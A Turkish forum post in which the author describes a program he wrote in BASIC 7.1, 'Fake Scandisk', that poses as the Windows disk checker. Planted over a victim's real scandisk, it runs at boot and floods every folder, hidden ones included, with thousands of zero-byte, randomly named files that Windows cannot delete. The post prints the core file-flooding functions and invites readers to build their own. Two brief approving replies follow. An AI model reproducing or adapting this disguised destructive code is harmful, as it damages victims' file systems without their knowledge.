Fake Scandisk
-
Merhaba,
Yaklaşık 2 yıl önce PDS 7.1(BASIC 7.1) ile yazdığım Fake Scandisk isimli program, Scandisk"i taklit ediyordu. Fakat diski kontrol etmek yerine pc de bulunan her klasörü, gizliler dahil, windows tarafından silinemeyen binlerce 0 kb lik dosyalarla dolduruyordu. Tabii kurbanın Windows klasöründeki scandisk"in üzerine kopyalamak gerekiyordu. Windows açılışta scandisk yaparken gerçeği değil de Fake çalışıyordu.
Programın mantığı çok basit. Siz de yapabilirsiniz. Genel olarak scandisk benzeri arabirimi çalışır hale getirdikten sonra o aşağıdaki percent bar ilerlerken FuckIt isimli bir fonksiyon çalışıyor ve adı üstünde Fuckuyordu. Sanırım şöyle birşeydi.
Function FuckIt(Directory as string)as Integer
on error resume next "hatalı dosya isimlerini atlaması için
chdir(directory)
for lp=1 to 10000
open CreateRndFile() for output as #1
close #1
next lp
End Function
Function CreateRndFile() as String
"ilk önce ilk 8 karakter
Randomize Timer
for n=1 to 8
Temp8Char$=chr$(rnd*100)
TempChar$=TempChar$+Temp8Char$
next
TempChar$=TempChar$+"."
"kalan 3 uzantı karakteri
for n=1 to 3
Temp3Char$=chr$(rnd*100)
TempChar$=TempChar$+Temp3Char$
next
CreateRndFile=TempChar$
"Saçma sapan isme sahip bir dosya çıktı ortaya üstelik bu dosyaların bir çoğunu windows silemez ve dosya sistemi hatası verir.
End Function -
hoş
devam ... -
güzel
Toplam Hit: 1877 Toplam Mesaj: 3